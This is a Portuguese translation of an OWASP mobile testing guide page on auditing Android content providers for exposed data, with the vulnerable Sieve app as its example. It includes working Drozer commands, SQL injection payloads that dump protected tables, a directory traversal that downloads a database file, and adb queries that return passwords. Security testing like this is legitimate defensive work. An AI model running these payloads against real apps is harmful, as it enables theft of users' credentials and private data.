Skip to content

MASTG-TEST-0007: Determinando se Dados Sensíveis Armazenados Foram Expostos via Mecanismos IPC

Visão Geral

Análise Estática

O primeiro passo é examinar o AndroidManifest.xml para detectar provedores de conteúdo expostos pelo aplicativo. Você pode identificar provedores de conteúdo pelo elemento <provider>. Complete as seguintes etapas:

  • Determine se o valor da tag de exportação (android:exported) é "true". Mesmo que não seja, a tag será definida automaticamente como "true" se um <intent-filter> tiver sido definido para a tag. Se o conteúdo deve ser acessado apenas pelo próprio aplicativo, defina android:exported como "false". Caso contrário, defina a flag como "true" e defina permissões adequadas de leitura/gravação.
  • Determine se os dados estão sendo protegidos por uma tag de permissão (android:permission). Tags de permissão limitam a exposição a outros aplicativos.
  • Determine se o atributo android:protectionLevel tem o valor signature. Essa configuração indica que os dados são destinados a serem acessados apenas por aplicativos da mesma empresa (ou seja, assinados com a mesma chave). Para tornar os dados acessíveis a outros aplicativos, aplique uma política de segurança com o elemento <permission> e defina um android:protectionLevel adequado. Se você usar android:permission, outros aplicativos devem declarar elementos <uses-permission> correspondentes em seus manifests para interagir com seu provedor de conteúdo. Você pode usar o atributo android:grantUriPermissions para conceder acesso mais específico a outros aplicativos; é possível limitar o acesso com o elemento <grant-uri-permission>.

Inspecione o código-fonte para entender como o provedor de conteúdo deve ser usado. Procure pelas seguintes palavras-chave:

  • android.content.ContentProvider
  • android.database.Cursor
  • android.database.sqlite
  • .query
  • .update
  • .delete

Para evitar ataques de injeção de SQL dentro do aplicativo, use métodos de consulta parametrizados, como query, update e delete. Certifique-se de sanitizar adequadamente todos os argumentos do método; por exemplo, o argumento selection pode levar à injeção de SQL se for composto por entradas concatenadas do usuário.

Se você expuser um provedor de conteúdo, determine se os métodos de consulta parametrizados (query, update e delete) estão sendo usados para prevenir injeção de SQL. Se estiverem, verifique se todos os seus argumentos estão devidamente sanitizados.

Usaremos o aplicativo de gerenciamento de senhas vulnerável Sieve como exemplo de um provedor de conteúdo vulnerável.

Inspecionar o Android Manifest

Identifique todos os elementos <provider> definidos:

<provider
      android:authorities="com.mwr.example.sieve.DBContentProvider"
      android:exported="true"
      android:multiprocess="true"
      android:name=".DBContentProvider">
    <path-permission
          android:path="/Keys"
          android:readPermission="com.mwr.example.sieve.READ_KEYS"
          android:writePermission="com.mwr.example.sieve.WRITE_KEYS"
     />
</provider>
<provider
      android:authorities="com.mwr.example.sieve.FileBackupProvider"
      android:exported="true"
      android:multiprocess="true"
      android:name=".FileBackupProvider"
/>

Como mostrado no AndroidManifest.xml acima, o aplicativo exporta dois provedores de conteúdo. Observe que um caminho ("/Keys") está protegido por permissões de leitura e gravação.

Inspecionar o código-fonte

Inspecione a função query no arquivo DBContentProvider.java para determinar se alguma informação sensível está sendo vazada:

Exemplo em Java:

public Cursor query(final Uri uri, final String[] array, final String s, final String[] array2, final String s2) {
    final int match = this.sUriMatcher.match(uri);
    final SQLiteQueryBuilder sqLiteQueryBuilder = new SQLiteQueryBuilder();
    if (match >= 100 && match < 200) {
        sqLiteQueryBuilder.setTables("Passwords");
    }
    else if (match >= 200) {
        sqLiteQueryBuilder.setTables("Key");
    }
    return sqLiteQueryBuilder.query(this.pwdb.getReadableDatabase(), array, s, array2, (String)null, (String)null, s2);
}

Exemplo em Kotlin:

fun query(uri: Uri?, array: Array<String?>?, s: String?, array2: Array<String?>?, s2: String?): Cursor {
        val match: Int = this.sUriMatcher.match(uri)
        val sqLiteQueryBuilder = SQLiteQueryBuilder()
        if (match >= 100 && match < 200) {
            sqLiteQueryBuilder.tables = "Passwords"
        } else if (match >= 200) {
            sqLiteQueryBuilder.tables = "Key"
        }
        return sqLiteQueryBuilder.query(this.pwdb.getReadableDatabase(), array, s, array2, null as String?, null as String?, s2)
    }

Aqui vemos que na verdade existem dois caminhos, "/Keys" e "/Passwords", e o último não está sendo protegido no manifesto e, portanto, é vulnerável.

Ao acessar um URI, a instrução de consulta retorna todas as senhas e o caminho Passwords/. Abordaremos isso na seção "Análise Dinâmica" e mostraremos o URI exato necessário.

Análise Dinâmica

Testando Provedores de Conteúdo

Para analisar dinamicamente os provedores de conteúdo de um aplicativo, primeiro enumere a superfície de ataque: passe o nome do pacote do aplicativo para o módulo Drozer app.provider.info:

dz> run app.provider.info -a com.mwr.example.sieve
  Package: com.mwr.example.sieve
  Authority: com.mwr.example.sieve.DBContentProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.DBContentProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False
  Path Permissions:
  Path: /Keys
  Type: PATTERN_LITERAL
  Read Permission: com.mwr.example.sieve.READ_KEYS
  Write Permission: com.mwr.example.sieve.WRITE_KEYS
  Authority: com.mwr.example.sieve.FileBackupProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.FileBackupProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False

Neste exemplo, dois provedores de conteúdo são exportados. Ambos podem ser acessados sem permissão, exceto pelo caminho /Keys no DBContentProvider. Com essas informações, você pode reconstruir parte dos URIs de conteúdo para acessar o DBContentProvider (os URIs começam com content://).

Para identificar URIs de provedores de conteúdo dentro do aplicativo, use o módulo scanner.provider.finduris do Drozer. Este módulo adivinha caminhos e determina URIs de conteúdo acessíveis de várias maneiras:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Uma vez que você tem uma lista de provedores de conteúdo acessíveis, tente extrair dados de cada provedor com o módulo app.provider.query:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64 - encoded)
email: incognitoguy50@gmail.com

Você também pode usar o Drozer para inserir, atualizar e excluir registros de um provedor de conteúdo vulnerável:

  • Inserir registro
dz> run app.provider.insert content://com.vulnerable.im/messages
                --string date 1331763850325
                --string type 0
                --integer _id 7
  • Atualizar registro
dz> run app.provider.update content://settings/secure
                --selection "name=?"
                --selection-args assisted_gps_enabled
                --integer value 0
  • Excluir registro
dz> run app.provider.delete content://settings/secure
                --selection "name=?"
                --selection-args my_setting

Injeção de SQL em Provedores de Conteúdo

A plataforma Android promove bancos de dados SQLite para armazenar dados do usuário. Como esses bancos de dados são baseados em SQL, eles podem ser vulneráveis à injeção de SQL. Você pode usar o módulo Drozer app.provider.query para testar injeção de SQL manipulando os campos de projeção e seleção que são passados para o provedor de conteúdo:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')

Se um aplicativo for vulnerável à injeção de SQL, ele retornará uma mensagem de erro detalhada. A injeção de SQL no Android pode ser usada para modificar ou consultar dados do provedor de conteúdo vulnerável. No exemplo a seguir, o módulo Drozer app.provider.query é usado para listar todas as tabelas do banco de dados:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |
| table | Key              | Key              | 5        | CREATE TABLE ... |

A injeção de SQL também pode ser usada para recuperar dados de tabelas que de outra forma estariam protegidas:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
| Password | pin |
| thisismypassword | 9876 |

Você pode automatizar essas etapas com o módulo scanner.provider.injection, que encontra automaticamente provedores de conteúdo vulneráveis em um aplicativo:

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

Provedores de Conteúdo Baseados em Sistema de Arquivos

Provedores de conteúdo podem fornecer acesso ao sistema de arquivos subjacente. Isso permite que aplicativos compartilhem arquivos (o sandbox do Android normalmente impede isso). Você pode usar os módulos Drozer app.provider.read e app.provider.download para ler e baixar arquivos, respectivamente, de provedores de conteúdo baseados em arquivos exportados. Esses provedores de conteúdo são suscetíveis a directory traversal, o que permite que arquivos protegidos no sandbox do aplicativo alvo sejam lidos.

dz> run app.provider.download content://com.vulnerable.app.FileProvider/../../../../../../../../data/data/com.vulnerable.app/database.db /home/user/database.db
Written 24488 bytes

Use o módulo scanner.provider.traversal para automatizar o processo de encontrar provedores de conteúdo suscetíveis a directory traversal:

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
  content://com.mwr.example.sieve.FileBackupProvider/
  content://com.mwr.example.sieve.FileBackupProvider

Observe que o adb também pode ser usado para consultar provedores de conteúdo:

$ adb shell content query --uri content://com.owaspomtg.vulnapp.provider.CredentialProvider/credentials
Row: 0 id=1, username=admin, password=StrongPwd
Row: 1 id=2, username=test, password=test
...